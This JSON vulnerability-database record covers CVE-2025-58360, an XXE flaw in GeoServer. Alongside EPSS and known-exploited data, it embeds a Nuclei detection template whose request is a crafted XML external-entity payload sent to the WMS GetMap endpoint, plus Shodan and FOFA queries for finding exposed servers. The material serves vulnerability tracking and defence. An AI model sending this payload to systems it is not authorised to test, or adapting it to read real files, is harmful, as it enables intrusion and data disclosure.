{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-58360/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-58360/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-58360/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-58360/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-58360/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-58360"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-58360"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.64874,
      "kev": true,
      "percentile": 0.99211
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-58360.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2025-58360\n\ninfo:\n  name: GeoServer - XML External Entity Injection\n  author: lbb,xbow,darses\n  severity: high\n  description: |\n    GeoServer 2.26.0 to 2.26.2 and 2.25.6 contains an XML External Entity (XXE) injection caused by insufficient sanitization of XML input in /geoserver/wms GetMap operation, letting attackers disclose files or cause DoS, exploit requires crafted XML input.\n  impact: |\n    Attackers can disclose sensitive files or cause denial of service by exploiting XML external entity processing.\n  remediation: |\n    Update to GeoServer 2.25.6, 2.26.3, 2.27.0 or later.\n  reference:\n    - https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-58360\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L\n    cvss-score: 8.2\n    cve-id: CVE-2025-58360\n    epss-score: 0.64874\n    epss-percentile: 0.99211\n    cwe-id: CWE-611\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: osgeo\n    product: geoserver\n    shodan-query:\n      - title:\"geoserver\"\n      - 'http.html_hash:1093634893 \"Content-Disposition: inline\"'\n      - http.favicon.hash:97540678\n      - html:\"/geoserver/\"\n    fofa-query:\n      - title=\"geoserver\"\n      - app=\"geoserver\"\n      - icon_hash=\"97540678\"\n      - body=\"/geoserver/\"\n  tags: cve,cve2025,geoserver,xxe,wms,vkev,kev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/geoserver/wfs?service=WMS&request=GetMap\"\n      - \"{{BaseURL}}/wfs?service=WMS&request=GetMap\"\n\n    headers:\n      Content-Type: application/vnd.ogc.sld+xml\n\n    body: |\n      <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n      <!DOCTYPE root [ <!ENTITY xxe SYSTEM \"/this_file_does_not_exist\"> ]>\n      <StyledLayerDescriptor version=\"1.0.0\">\n      <NamedLayer><Name>&xxe;</Name></NamedLayer>\n      </StyledLayerDescriptor>\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"ServiceException\"\n          - \"java.io.FileNotFoundException\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100937228a269a2fc6d08a11f47c7423ac1595c7a01645b368f53d59446c0c9c94d022100c74e79bf36809753ba593c2b267ade0a38d24658d36e7d9b6525a5a93b52f0e0:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-58360"
}